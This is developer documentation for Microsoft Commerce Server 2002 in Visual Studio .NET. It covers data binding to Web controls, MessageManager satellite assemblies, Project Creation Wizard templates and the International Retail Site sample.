Most Web sites must display catalog, profile, and order data to users. To display this information on Commerce Server ASP.NET-based sites you must complete three main steps: choosing the appropriate Web server control, binding the data to the Web server control, and adding the databinding expression to the Web server control template. When you are familiar with the underlying schema of the data source to which a control is bound, creating these databinding expressions is not difficult. However, because the underlying schema and the names used to access data elements in Commerce Server 2002 are often hidden or abstracted, creating these expressions on your own could be difficult.

To simplify this task for developers, Commerce Server 2002 includes the DataBinding Expression Builder. The DataBinding Expression Builder helps you generate databinding expressions by representing the various data elements in a Commerce Server data source in the DataBinding Expression Builder user interface, and allows you to copy and paste the generated databinding expression to the template of a Web server control.

This topic walks you through the steps involved in binding commerce data to a Web form.

Choosing the appropriate Web server control

Binding data to the Web server control

Adding the databinding expression to the Web form

Choosing the Appropriate Web Server Control

When adding a Web control to your .aspx file, you must determine which Web control will properly render the data onto the page. Any single-valued instance, such as a property name, can be displayed by using the Label, Text Box, or Button Web server controls. Multi-valued instances, such as catalogs, profiles, and order forms, can only be bound to certain Web server controls. The following guidelines should be used when using the DataBinding Expression Builder to bind multi-valued instance data to Web server controls in a Commerce Server project.

Web server controls to bind to | Commerce Server namespace | Guidelines
DataGrid DataList ListBox RadioButton Repeater | Microsoft.CommerceServer.Runtime.Catalog | Bind to methods that have a DataSet return value. You can bind to any DataSet returned by any method in the Catalog namespace.
DataGrid DataList ListBox RadioButton Repeater | Microsoft.CommerceServer.Runtime.Orders | Bind to data returned by methods that implement the System.Collections.Icollection.
DataGrid DataList ListBox RadioButton Repeater | Microsoft.CommerceServer.Runtime.Profiles | Bind to the Profile or PropertyGroup class.

After you have determined which Web server control is appropriate for the data you wish to display, complete the following procedure to add it to your Web form (the .aspx file).

To add the Web server control to the Web form

  1. In Microsoft Visual Studio .NET, on the File menu, point to Open, and then click Project.
  2. In the Open Project dialog box, select the project that contains the Web form you want to modify, and click Open. The project opens.
  3. On the View menu, select Toolbox. The Toolbox opens.
  4. In the Toolbox, click the Web server control you want to add to your Web form and drag the control to the Form design surface. Drop the control on the form.

Binding Data to the Web Server Control

After adding the Web server control to the Web form, you need to add code to bind the data to the Web server control on the codebehind page (the .aspx.cs file). First you must set the data to the Web server control, and then call the DataBind method. For example:

ProductListing.DataSource = CommerceContext.Current.CatalogSystem.GetCatalog(“Adventure Works Catalog”).GetRootProducts();
ProductListing.DataBind();

The following code samples show how to bind data to a Web server control:

Code to set shipping methods on a basket on an ASP .NET Web form

Code to manipulate a basket in an ASP .NET Web form

Code to retrieve and display profile properties

Code to list catalogs on an ASP .NET Web form

Adding the DataBinding Expression to the Web Form

After adding the Web server control to the Web form and binding the data to the Web server control, you can add the databinding expression to the Web form. The databinding expression ensures that the correct portion of data bound to the Web server control is displayed. For example, if you bind a catalog to the Web server control, but only want to display the name of the catalog, you must choose the databinding expression for the CatalogName value.

To simplify the creation of databinding expressions, Commerce Server 2002 includes the DataBinding Expression Builder. The DataBinding Expression Buidler creates syntactically correct expressions based on the schema of a given data source. The expressions created by the DataBinding Expression Builder can be used in two forms:

  • Simple form. Use this to create a nonformatted expression based on the data in the current container.
  • Formatted form. Use this to create a formatted expression based on the data in the current container. This option is most useful when you need to include price, date, or time information in a specific format.

Additionally, you can select an advanced option, which you use to manipulate the generated databinding expression before inserting it into the Web form.

Note

  • The DataBinding Expression Builder is only available in Commerce projects. For more information about creating a Commerce Project, see Creating a Commerce Project.

To create an expression using the DataBinding Expression Builder and add it to the Web form

  1. On the Project menu, point to Commerce Server Project, and then click DataBinding Expression Builder.
  2. In the Commerce DataBinding Expression Builder dialog box, do the following:
    Use this | To do this
    Data Source | Select the source of the data you want to bind from the drop-down menu.
    Data Source Tree View Expand the property group nodes and select the property you want to bind.

    To select more than one property, press the CTRL key while selecting the additional properties.
    Simple Form | Select this option to get the simple form of the expression.
    Formatted Form | Select this option to get the DataBinder.Eval(), or formatted form of the expression.
    Edit Expression | Select this option to manipulate the Simple Form or Formatted Form of the expression.
  3. To copy the expression to the clipboard, click Copy.
  4. To close the Commerce DataBinding Expression Builder dialog box, click Close.
  5. On the Tools menu, click Class View.
  6. On the Class View tab of the Solutions Explorer window, double-click the Web form to which you want to add the expression.
  7. On the Web form code page, in HTML view, place the cursor within the template of the Web server control to which you want to apply the databinding expression.
  8. On the Tools menu, click Paste.

    The expression now appears on the Web form.

  9. Repeat steps 1 through 8 for each expression you want to add to the Web form.
  10. When you have finished, on the File menu, click Save to save the Web form.

You can now rebuild the project, and view the changes in the application.


Adding and Modifying Application Resources

A resource is an entity that provides functionality to the applications in a Commerce Server site. There are two types of resources: global resources and site resources. Global resources are available for use by all sites; site resources provide functionality to a specific site.

Resources include properties that are stored in the Commerce Server Administration database. These properties can be accessed and changed by using the Commerce Server Resources window in Visual Studio .NET.

The Commerce Server 2002 Resource tools window is only available in Commerce Projects. For more information about creating a Commerce Project, see Creating a Commerce Project.

The following table lists and describes the resources in Commerce Server 2002 that appear in the Resource tool window:

Resource | Description | Type
App Default Config | Stores properties that you use to configure a site, such as currency locale and symbols, billing and payment options, privacy options, unit of measure for weight, and options for integrating with Microsoft BizTalk Server 2000 and later. | Site
Business Desk Permissions | Connects to the database that stores data such as security identifiers and definitions that are used to secure the Business Desk user interface. | Site
Profiles | Creates data sources for storing profile data, and creates and stores profile definitions and properties. | Global
Campaigns | Connects to the database that stores data about campaigns (ads, discounts, and direct mail). | Site
Direct Mailer | Sends personalized or non-personalized mailings to large groups of recipients. | Global
Data Warehouse | Imports and manages Web site data from Web log files, Commerce Server databases, and other data sources. | Global
Product Catalog | Connects to the database that stores catalog schema and product data. | Site
Transactions Config | Connects to the database that stores data for shipping methods and rates, tax rates, state and region codes, and order status codes. | Site
Transactions | Connects to the database that stores data for baskets and orders. | Site

To open the Commerce Server Resources tool window

  • On the Project menu, point to Commerce Server Project, and then click Resources.

The Commerce Server Resources tool window opens. Use this tool window to view or edit Commerce Server resource properties.

Important

  • If you add a Commerce Server resource, you will be prompted to select a Commerce Server PuP package. You can select a Commerce Server package that contains the selected resource or you can use the Commerce Server Blank site package located at <drive>:\Program Files\Microsoft Commerce Server 2002\PuP Packages\.
  • If you change a connection string in a Commerce Server resource, you must restart IIS or the Visual Studio .NET application. For information about restarting IIS, see Restarting IIS and Commerce Server Services.

To edit Commerce Server resource properties

  1. In the Commerce Server Resources window, expand the Commerce Server Web application, and then select the resource you want to edit.
  2. On the View menu, click Properties.
  3. In the Properties window, select and edit the resource properties.

See Also

Managing Commerce Resources


Accessing Commerce Server Manager

Commerce Server Manager is a tool that you use to manage and configure Commerce Server 2002 resources, sites, applications, and Web servers. The Microsoft Management Console (MMC), a Windows-based interface that is included in Microsoft Windows 2000, hosts Commerce Server Manager.

The functionality in Commerce Server Manager is not available through either Web-based or command line administration. Instead, most of this functionality is accessed and manipulated through Component Object Model (COM) objects, so it is possible for you to write a Windows Script Host (WSH) script or an Active Server Pages (ASP) page to extend the administration environment.

To access Commerce Server Manager

  • On the Project menu, point to Commerce Server Project, and then click Commerce Server Manager.

Note

  • You can access Commerce Server Manager by clicking Commerce Server Manager in the Commerce Server Resources window.

See Also

Integrating Custom Resources


Accessing the Pipeline Editor

The Pipeline Editor is an application used for creating and editing Commerce Server pipelines. You can use it to edit a pipeline on your local computer or on a computer connected to a local area network (LAN).

Pipelines are described in pipeline configuration (.pcf) files. You create and configure .pcf files with the Pipeline Editor.

The Pipeline Editor displays a pipeline as a pipe, showing the stages of the pipeline as pipe segments. The components used in a stage appear as valves.

Certain components have an "affinity" with certain stages. This means that the component was designed for use within that stage. Commerce Server does not enforce this stage and component association. You can include any component in any stage.

To access the Pipeline Editor

  • On the Project menu, point to Commerce Server Project, and then click Pipeline Editor.


Accessing Business Desk

Commerce Server Business Desk hosts business management modules that you use to configure, manage, and analyze your sites. For example, you use Business Desk modules to create multilingual catalogs, update pricing information in your catalogs in multiple currencies, target new advertisements to specific users, and then run reports to measure how these changes affect site productivity.

Business Desk includes targeted, role-based security, which means that Business Desk users can view and manage only those modules for which they are authorized, and they can perform only the specific tasks for which they are authorized.

To access the Business Desk

  • On the Project menu, point to Commerce Server Project, and then click Business Desk.

Important

  • When you use Business Desk in Microsoft Visual Studio .NET, and you want to import an XML catalog file that is on your local computer or a remote client, you must do one of the following:
    • Move the local file to the server, and then import the XML file on the server.
    • Run Business Desk outside of Visual Studio .NET, and import the XML catalog file.
    • Change your security settings in Internet Explorer to enable or prompt for running unsafe components, and then import the XML catalog file from the local computer. This option is not recommended because it compromises the security of your computer.


Accessing the Catalog Definition Designer

You use the Catalog Definition Designer to view, create, or modify catalog schema and category and product definitions. You can access the Catalog Definition Designer by using Microsoft Visual Studio .NET.

To access the Catalog Definition Designer from Visual Studio .NET

  • On the Project menu, point to Commerce Server Project, and then click Catalog Definition Designer.

The Catalog Definition Designer opens.

Important

  • When you use Business Desk in Visual Studio .NET, and you want import an XML catalog file that is on your local computer or a remote client, you must do one of the following:
    • Move the local file to the server, and then import the XML file on the server.
    • Run the Business Desk outside of Visual Studio. NET, and import the XML catalog file.
    • Change your security settings in Internet Explorer to enable or prompt for running unsafe components, and then import the XML catalog file from local computer. This option is not recommended because it compromises the security of your computer.

See Also

Creating a Catalog Definition


Accessing the Profile Definition Designer

You use the Profile Definition Designer to view, create, or modify the profiles used in your Commerce Server site. You can also map the properties of existing profiles to new data sources, delete existing profiles and profile properties, and configure new data sources. You can access the Profile Definition Designer by using Microsoft Visual Studio .NET.

To access the Profile Definition Designer from Visual Studio .NET

  • On the Project menu, point to Commerce Server Project, and then click Profile Definition Designer.

The Profile Definition Designer opens.

See Also

Creating a Profile Definition


Enabling Commerce Server in an Existing Web Project

You can enable Commerce Server functionality in an existing non-Commerce Server Web service, Visual Basic .NET, C#, or an empty Web project.

After you enable Commerce Server in your existing project, the Commerce Server Site adds Commerce Server resources, sites, and the Business Desk application. The Project Creation Wizard also modifies your existing project file to incorporate Commerce Server-specific configuration settings and Commerce Server assembly references. These configuration settings are in the application level web.config file. The httpModules element and a Commerce Server node are also added to your existing project.

To enable Commerce Server in an existing Web project

  1. Open a non-Commerce Server project in Visual Studio .NET.
  2. On the toolbar, click Project, point to Commerce Server Project, and then click Enable Commerce Server. The Commerce Server Project Wizard starts.
  3. In the Commerce Application Project Wizard Welcome dialog box, click Next.
  4. In the Commerce Server Site Packager Quick Unpack dialog box, do the following:
    Use this | To do this
    Site name | Type a name for the site, or retain the name of your existing project.
    IIS Web site | Select the name of the Internet Information Services (IIS) 5.0 Web site where the applications will be installed.
    SQL Server Computer | Type the name of the SQL Server computer on which you want the site databases to be created.
    Use Windows Integrated Security Select this option if you want to use Windows integrated security.

    When you use Windows integrated security, user names and passwords are not stored in the SQL Server connection string, and are not affected by SQL Server password resets. For information about Commerce Server 2002 security, see Securing Your Site.
    Use a specific user name and password | Select this option if you want to use SQL Server authentication when connecting to the databases.
    SQL Server Login Name Type a SQL Server login user name that has permissions on the SQL Server computer on which the site databases are to be created.

    Note

    • For security purposes, do not use the sa login for access to the databases. To change the login information for the Administration database after it is created, use SQL Server Enterprise Manager.
    SQL Server Login Password | Type the SQL Server login password for the databases.
  5. Click Next.
  6. In the Data Warehouse dialog box, do the following:
    Use this | To do this
    Name | Type the name you want to give to the pointer to the global Data Warehouse resource.
    Server | Type the name of the SQL Analysis Services computer that the Data Warehouse will use.
    Database | Type the name of the Analysis Services database.
  7. Click OK.
  8. In the Profiling System dialog box, accept the default .xml files, and then click Next.
  9. In the next Profiling System dialog box, accept the default .xml files, accept the default connection string and schema definition scripts, and then click OK.

Commerce Server is now enabled in your existing Web project.

See Also

Creating a Commerce Project


Using MessageManager

If you are using the MessageManager object to manage localized message handling through the rc.xml file, you use the RCXml2Resx tool (located in the Commerce Server 2002 folder) to convert your rc.xml file to .resx files, and then create satellite assemblies for the MessageManager object using the .resx files. Commerce Server uses satellite assemblies to store language-dependent string resources.

To implement message management, do the following:

  1. Convert rc.xml files to .resx files by using the RCXml2Resx tool.
  2. Convert .resx files to resource files by using the Microsoft .NET Resource Generator (ResGen) tool.
  3. Generate satellite assemblies by using the Microsoft Assembly Linker (Al.exe) tool.
  4. Obtain the base name for your satellite assemblies.
  5. Edit the web.config file to modify the messageManager tag to include information about the satellite assemblies.

Note

  • You can also generate satellite assemblies by using the Visual Studio .NET integrated development environment (IDE). If choose to use the Visual Studio .NET IDE, you can skip steps 2 and 3. For information about how to use the Visual Studio .NET IDE to build satellite assemblies, see To build satellite assemblies using Visual Studio .NET.

To convert rc.xml files to .resx files

To convert .resx files to resource files

To create satellite assemblies

To build satellite assemblies using Visual Studio .NET

To obtain the base name for your satellite assemblies

To edit the web.config file

An Example Using MessageManager

To convert rc.xml files to .resx files

  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, point to Visual Studio .NET Tools, and then click Visual Studio .NET Command Prompt.
  2. In the Visual Studio .NET Command Prompt window, type RCXml2Resx <XMLFilePath> <outputfilename[.ext]>.

    For example, RCXml2Resx c:\rc.xml c:\rc.resx will convert the rc.xml file located on C:\ to a new rc.resx file and place it on C:\.

Notes

  • The RCXml2Resx tool generates one .resx file for each language in the XML file.
  • If outputfilename is not specified then it will be the same as the name of the XML file.
  • If .ext is not specified then the default extension will be .resx.

To convert .resx files to resource files

  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, point to Visual Studio .NET Tools, and then click Visual Studio .NET Command Prompt.
  2. In the Visual Studio .NET Command Prompt window, type ResGen <inputFile.ext> [<outputFile.ext>].

To create satellite assemblies

  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, point to Visual Studio .NET Tools, and then click Visual Studio .NET Command Prompt.
  2. In the Visual Studio .NET Command Prompt window, type al /embed:<Resource> /culture:<culture name> /out:<filename>

    For example, al /embed:MessageManagerResources.en-US.resources /culture:en-US /out:C:\inetpub\wwwroot\CommerceWebApplication\bin\en-us\CommerceWebApplication.resources.dll will create the satellite assembly for the En-US culture for the MessageManagerResource.en-US resource.

To build satellite assemblies using Visual Studio .NET

  1. Copy the .resx files (from the first procedure) to your Commerce Server Project directory.
  2. Start Visual Studio .NET and open your Commerce Project.
  3. On the toolbar, click File, and then click Add Existing Items.
  4. In the Add Existing Item - <Project Name> dialog box, select the .resx files you copied in step 1, and then click Open.
  5. On the toolbar, click Build, and then click Build Solution.

Visual Studio .NET will generate the satellite assemblies for you.

To obtain the base name for your satellite assemblies

Notes

  • If you are building the satellite assemblies by using the Microsoft Assembly Linker, then the base name will be the name of your resource file. For example, if you created a resource file named MessageManagerResources.en-US.resources, then the base name will be MessageManagerResources.
  • If you are using Visual Studio .NET to build your satellite assemblies, then follow these steps to get the base name.
  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, point to Visual Studio .NET Tools, and then click Visual Studio .NET Command Prompt.
  2. In the Visual Studio .NET Command Prompt window, type ildasm <satellite assembly>.resources.dll
  3. Click MANIFEST.

    You will see a section that looks like .mresource public 'BaseName.en-US.resources'.

    For example, if you see the section 'CommerceWebApplication.MessageManagerResources.en-US.resources', then CommerceWebApplication.MessageManagerResources is the base name for your satellite assembly, and you must use this to edit the web.config file.

To edit the web.config file

  1. Open the web.config file and go to the messageManager tag.
  2. In the messageManager tag, do the following:
    <messageManager>
<cultures default="<type default culture name>" BaseName="<Type the Resource Name. See To obtain the base name for your Satellite Assemblies>" assembly="<Name of the Satellite Assembly containing your resources>">
               <culture id="<Your Culture ID 1>" />
               <culture id="<Your Culture ID 2>" />
                .
                .
               <culture id="<Your Culture ID N>" />
       </cultures>
       <resources>
               <resource id="<Your Resource ID" />
       </resources>
</messageManager>

Your message management system will now use the Commerce Server .NET Application Framework.


An Example Using MessageManager

In this example, you will convert an existing rc.xml file that supports EN-US and FR-FR cultures to .resx files, generate resources and satellite assemblies, and then modify the web.config file.

For this example, the base name of the resources is MessageManagerResources, as specified in the sample web.config file.

Viewing the rc.xml File

Using the RCXML2Resx Tool

Generating Satellite Assemblies Using the Command Prompt

Editing the web.config File

Viewing the rc.xml File

The sample format of the rc.xml file is as follows:

<?xml version="1.0"?>
<MessageManager>
        <Language Name="English"    Locale="1033"/>
        <Language Name="French"     Locale="1036"/>
        <Entry Name=" pur_badsku" Type="_Basket_Errors ">
                <Value Language="English"> Please note that one or more
                       items were removed from your order because the
                       product is no longer sold.
                </Value>
                <Value Language="French"> Notez qu'un ou plusieurs
                       articles ont été supprimés de votre commande car le
                       produit n'est plus en vente.
                </Value>
          </Entry>
</MessageManager>

Using the RCXML2Resx Tool

The sample command syntax is as follows:

  • RCXML2Resx C:\Inetpub\wwwroot\CommerceWebApp\rc.xml MessageManagerResources.resx

This will generate the following files in the current directory:

  • MessageManagerResources.en-US.resx
  • MessageManagerResources.fr-FR.resx

MessageManagerResources is the base name used for this example. You can use a different base name to generate .resx files.

Generating Satellite Assemblies Using the Command Prompt

Creating satellite assemblies by using the command prompt is a three-step process:

  1. Use the following commands to create the resource files:
    • resgen MessageManagerResources.en-US.resx
    • resgen MessageManagerResources.fr-FR.resx
  2. Make sure that both folders, en_US and fr_FR, are created under the \Bin folder under the Commerce Server project. In this example, the Commerce Server project name is CommerceWebApp, and it is located at C:\Inetpub\wwwroot\.
  3. Generate satellite assemblies for each culture and place them in the appropriate folders. At the command prompt, type:
    • al /embed:MessageManagerResources.en-US.resources /culture:en-US /out:C:\Inetpub\wwwroot\CommerceWebApp\bin\en-us\CommerceWebApplication.resources.dll
    • al /embed:MessageManagerResources.fr-FR.resources /culture:fr-FR /out:C:\Inetpub\wwwroot\CommerceWebApp\bin\fr-FR\CommerceWebApplication.resources.dll

Alternatively, you can use Visual Studio .NET to generate your satellite assemblies. Visual Studio .NET automatically creates the resources and directories for you. For information about using Visual Studio .NET to generate satellite assemblies, see To build satellite assemblies using Visual Studio .NET

Editing the web.config File

The final step in using the MessageManager object is to edit the web.config file. In this example, information provided earlier is entered in the messageManager tag in the web.config file.

The sample web.config file is as follows:

 <messageManager>
<cultures default="en-US" BaseName="MessageManagerResources" assembly="CommerceWebApplication">
               <culture id="en-US" />
               <culture id="fr-FR" />
       </cultures>
       <resources>
               <resource id="pur_badsku" />
       </resources>

</messageManager>


Creating a Commerce Server Package for the Project Creation Wizard

When you build a custom Commerce Server Site package to work with the Custom option of the Project Creation Wizard, you must create template site files for that package. The template site files are a collection of text files that contain some simple directives. They are parsed and rendered according to user input to the wizard and then added to the Commerce Server project. The information for parsing the templates is obtained by directly accessing the symbol table of the Project Creation Wizard.

Commerce Server Site files follow a template structure similar to the one defined by Visual Studio .NET. For information about template directives used in the Project Creation Wizard template file, see "Template Directives" in Microsoft Visual Studio .NET Help.

Any site that contains template files must include a file named template.ini. This file can be empty of content and will be deleted at the end of the wizard process. It merely signals that the files should be parsed for symbols.

The site must include a web.config file with a valid defaultLanguage attribute on the compilation node. The defaultLanguage attribute must be set to either c# (C#) or vb (Visual Basic .NET).

Notes

  • In Commerce Server 2002, Visual Basic .NET and C# are the only languages supported by the Project Creation Wizard.
  • If the file DynamicDisco.disco is present in the root directory of the site, the Project Creation Wizard will be rename it to <sitename>.disco.

Commerce Server Variables

Sample C# Form Page

Sample C# Codebehind Page

Sample C# AssemblyInfo.vb Page

Sample Visual Basic .NET Form Page

Sample Visual Basic .NET Codebehind Page

Sample Visual Basic .NET AssemblyInfo.vb page

Commerce Server Variables

You use the following Commerce Server variables when creating the Project Creation Wizard template files:

Variable | Description
WIZARD_NAME Specifies the name of the wizard.

WIZARD_NAME will always be Commerce Custom Web Project for package files processed by the Custom option of the Project Creation Wizard.
PROJECT_TYPE Specifies the Visual Studio .NET project type.

This will be either VBPROJ or CSPROJ, and is determined by the defaultLanguage attribute of the compilation tag in the site’s web.config file.

The defaultLanguage attribute must be set to either c# (C#) or vb (Visual Basic .NET).

Note

  • In Commerce Server 2002, Visual Basic .NET and C# are the only languages supported by the Project Creation Wizard.
SHARED_PATH Specifies the shared commerce files folder.

SHARED_PATH is usually set to: <drive>:\Program Files\Common Files\Microsoft Shared\Enterprise Servers\Commerce.
COMMERCE_PATH Specifies the Commerce Server install path.

COMMERCE_PATH is usually set to: <drive>:\Program Files\Microsoft Commerce Server 2002.
DEFAULT_SERVER_SCRIPT Specifies the default server script language.

DEFAULT_SERVER_SCRIPT is either JavaScript or VBScript depending upon the default settings of the user.
DEFAULT_CLIENT_SCRIPT Specifies the default server script language.

DEFAULT_CLIENT_SCRIPT is either JavaScript or VBScript depending upon the default settings of the user.
DEFAULT_TARGET_SCHEMA | Specifies one of the following target schemas depending upon the default settings of the user: http://schemas.microsoft.com/intellisense/ie3-2nav3-0, http://schemas.microsoft.com/intellisense/ie5, or http://schemas.microsoft.com/intellisense/nav4-0.
DEFAULT_HTML_LAYOUT | Specifies either FlowLayout or GridLayout depending upon the default settings of the user.
GUID_ASSEMBLY | Specifies the assembly GUID for use in an assemblyinfo.vb file (if present).
SAFE_CLASS_NAME Specifies the safe class name for the current page.

This symbol is only available for C# projects.
SAFE_NAMESPACE_NAME Specifies the safe namespace for the current project.

This symbol is only available for C# projects.
SAFE_ITEM_NAME Specifies the safe class name for the current page.

This symbol is only available for C# projects.

Sample C# Form Page

Following is a sample form page in C#:

<%@ Page language="c#" Codebehind="$FILENAME$.cs" AutoEventWireup="false" Inherits="$INHERITS$" %>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >

<html>
  <head>
    <title>[!output SAFE_ITEM_NAME]</title>
    <meta name="GENERATOR" Content="Microsoft Visual Studio 7.0">
    <meta name="CODE_LANGUAGE" Content="C#">
    <meta name=vs_defaultClientScript content="[!output DEFAULT_CLIENT_SCRIPT]">
    <meta name=vs_targetSchema content="[!output DEFAULT_TARGET_SCHEMA]">
  </head>
  <body MS_POSITIONING="[!output DEFAULT_HTML_LAYOUT]">

    <form id="Form1" method="post" runat="server">

    </form>

  </body>
</html>

Sample C# Codebehind Page

using System;
using System.Collections;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Web;
using System.Web.SessionState;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.HtmlControls;
using Microsoft.CommerceServer.Runtime;

namespace [!output PROJECT_NAME]
{
   /// <summary>
   /// Summary description for _Default.
   /// </summary>
   public class _Default : System.Web.UI.Page
   {
      private void Page_Load(object sender, System.EventArgs e)
      {
         // Put user code to initialize the page here
      }

      #region Web Form Designer generated code
      override protected void OnInit(EventArgs e)
      {
         //
         // CODEGEN: This call is required by the ASP.NET Web Form Designer.
         //
         InitializeComponent();
         base.OnInit(e);
      }

      /// <summary>
      /// Required method for Designer support - do not modify
      /// the contents of this method with the code editor.
      /// </summary>
      private void InitializeComponent()
      {
         this.Load += new System.EventHandler(this.Page_Load);
      }
      #endregion
   }
}

Sample C# AssemblyInfo.vb Page

Following is a sample assemblyinfo.vb page in C#:

using System.Reflection;
using System.Runtime.CompilerServices;

//
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
//
[assembly: AssemblyTitle("")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("")]
[assembly: AssemblyCopyright("")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]

//
// Version information for an assembly consists of the following four values:
//
//      Major Version
//      Minor Version
//      Build Number
//      Revision
//
// You can specify all the values or you can default the Revision and Build Numbers
// by using the '*' as shown below:

[assembly: AssemblyVersion("1.0.*")]

//
// In order to sign your assembly you must specify a key to use. Refer to the
// Microsoft .NET Framework documentation for more information on assembly signing.
//
// Use the attributes below to control which key is used for signing.
//
// Notes:
//   (*) If no key is specified, the assembly is not signed.
//   (*) KeyName refers to a key that has been installed in the Crypto Service
//       Provider (CSP) on your machine. KeyFile refers to a file which contains
//       a key.
//   (*) If the KeyFile and the KeyName values are both specified, the
//       following processing occurs:
//       (1) If the KeyName can be found in the CSP, that key is used.
//       (2) If the KeyName does not exist and the KeyFile does exist, the key
//           in the KeyFile is installed into the CSP and used.
//   (*) In order to create a KeyFile, you can use the sn.exe (Strong Name) utility.
//        When specifying the KeyFile, the location of the KeyFile should be
//        relative to the "project output directory". The location of the project output
//        directory is dependent on whether you are working with a local or web project.
//        For local projects, the project output directory is defined as
//       <Project Directory>\obj\<Configuration>. For example, if your KeyFile is
//       located in the project directory, you would specify the AssemblyKeyFile
//       attribute as [assembly: AssemblyKeyFile("..\\..\\mykey.snk")]
//        For web projects, the project output directory is defined as
//       %HOMEPATH%\VSWebCache\<Machine Name>\<Project Directory>\obj\<Configuration>.
//   (*) Delay Signing is an advanced option - see the Microsoft .NET Framework
//       documentation for more information on this.
//
[assembly: AssemblyDelaySign(false)]
[assembly: AssemblyKeyFile("")]
[assembly: AssemblyKeyName("")]

Sample Visual Basic .NET Form Page

Following is a sample form page in Visual Basic .NET:

<%@ Page Language="vb" AutoEventWireup="false" Codebehind="$FILENAME$.vb" Inherits="$INHERITS$"%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
  <head>
    <title>[!output SAFE_ITEM_NAME]</title>
    <meta name="GENERATOR" content="Microsoft Visual Studio .NET 7.0">
    <meta name="CODE_LANGUAGE" content="Visual Basic 7.0">
    <meta name=vs_defaultClientScript content="[!output DEFAULT_CLIENT_SCRIPT]">
    <meta name=vs_targetSchema content="[!output DEFAULT_TARGET_SCHEMA]">
  </head>
  <body MS_POSITIONING="[!output DEFAULT_HTML_LAYOUT]">

    <form id="Form1" method="post" runat="server">

    </form>

  </body>
</html>

Sample Visual Basic .NET Codebehind Page

Following is a sample codebehind page in Visual Basic .NET:

Imports Microsoft.CommerceServer.Runtime

Public Class _Default
    Inherits System.Web.UI.Page

#Region " Web Form Designer Generated Code "

    'This call is required by the Web Form Designer.
    <System.Diagnostics.DebuggerStepThrough()> Private Sub InitializeComponent()

    End Sub

    Private Sub Page_Init(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Init
        'CODEGEN: This method call is required by the Web Form Designer
        'Do not modify it using the code editor.
        InitializeComponent()
    End Sub

#End Region

    Private Sub Page_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        'Put user code to initialize the page here
    End Sub

End Class

Sample Visual Basic .NET AssemblyInfo.vb Page

Following is a sample assemblyinfo.vb page in Visual Basic .NET:

Imports System.Reflection
Imports System.Runtime.InteropServices

' General Information about an assembly is controlled through the following
' set of attributes. Change these attribute values to modify the information
' associated with an assembly.

' Review the values of the assembly attributes

<Assembly: AssemblyTitle("")>
<Assembly: AssemblyDescription("")>
<Assembly: AssemblyCompany("")>
<Assembly: AssemblyProduct("")>
<Assembly: AssemblyCopyright("")>
<Assembly: AssemblyTrademark("")>
<Assembly: CLSCompliant(True)>

'The following GUID is for the ID of the typelib if this project is exposed to COM
<Assembly: Guid("[!output GUID_ASSEMBLY]")>

' Version information for an assembly consists of the following four values:
'
'      Major Version
'      Minor Version
'      Build Number
'      Revision
'
' You can specify all the values or you can default the Build and Revision Numbers
' by using the '*' as shown below:

<Assembly: AssemblyVersion("1.0.*")>

See Also

Creating a Commerce Project


Removing Commerce Server from Your Web Project

You can remove Commerce Server functionality from your Visual Basic .NET, C#, or custom Web project.

To remove Commerce Server from your existing Web project, you must do the following:

  1. Manually remove the following XML nodes from your existing *.csproj or *.vbproj file:
    • <Service ID = "{863A8654-47CB-4109-8737-FB29C465AA33}" /> (if present)
    • CommerceSiteName attribute(s) from the UserProperties tag.
  2. Remove all references to Commerce objects from your project, including the web.config and all other source files.
  3. Delete Commerce Server site and global resources from Commerce Server Manager.
  4. Delete any Commerce Server databases used by the site.


International Retail Site

The International Retail Site is a technology preview of a multilingual, multicurrency business-to-business, and business-to-consumer Web site. It is similar in some ways to the Retail Solution Site provided for Commerce Server 2002.

It is written in ASP.NET and supports many of the latest Commerce Server 2002 features.

The International Retail Site is a functional example of a site created by using .NET and Commerce Server 2002 technologies. It is a sample site only and was not tested or intended to be production grade. If you extend the site for your own use, it is recommended that you test the site thoroughly to be sure that the site and your extensions meet your requirements.

This section contains:

  • International Retail Site Overview. Describes setting up the site and exploring the site from the perspective of the user.
  • International Retail Site Features. Provides a description of the main features of the site.
  • International Retail Site Infrastructure. Provides a description of the site implementation.
  • Tips for Developing Your Site. Provides tips for developing the site.
  • International Retail Site Reference. Describes the file organization and control reference information for the International Retail Site.


International Retail Site Overview

The International Retail Site demonstrates a Commerce Server 2002 business-to-consumer and business-to-business Web site built using ASP.NET and managed code. Much of the functionality of the site is contained in compiled assemblies and controls that inherit from the classes in those assemblies.

The site supports multilingual catalogs and demonstrates how to use .NET CultureInfo data to control how the site displays localized text and other properties. The architecture of the site is designed to manage text and images for multiple cultures, and will distinguish, for example, between French (France) and French Canadian content.

It can provide the correct currency, currency symbol, and delimiters for each while using the same French content translation; however, the currency conversions require additional settings to be made in the Exchange Rates table in Commerce Server Business Desk, populating it with valid ISO 4217 country/region codes and conversion rates.

This section contains:

  • Deploying the International Retail Site. Describes installing the site and Visual Studio .NET integration.
  • Setting Up the International Retail Site. Describes installing the site from Commerce Server 2002 without using Visual Studio .NET integration.
  • Setting Up the International Retail Site with Visual Studio .NET. Describes installing the site as a Visual Studio .NET project.

See Also

Exploring the International Retail Site


Deploying the International Retail Site

The International Retail Site has no hardware requirements beyond those of Commerce Server 2002. However, the software requirements are slightly different. For information about hardware requirements for Commerce Server 2002, see the Commerce Server 2002 Installation Guide. For software requirements for the International Retail Site, see International Retail Site Software Requirements.

The International Retail Site is a functional example of a site created by using .NET and Commerce Server 2002 technologies. It is a sample site only and was not tested or intended to be production grade. If you extend the site for your own use, it is recommended that you test the site thoroughly to be sure that the site and your extensions meet your requirements.

Business Analytics System does not support the .NET Retail Site

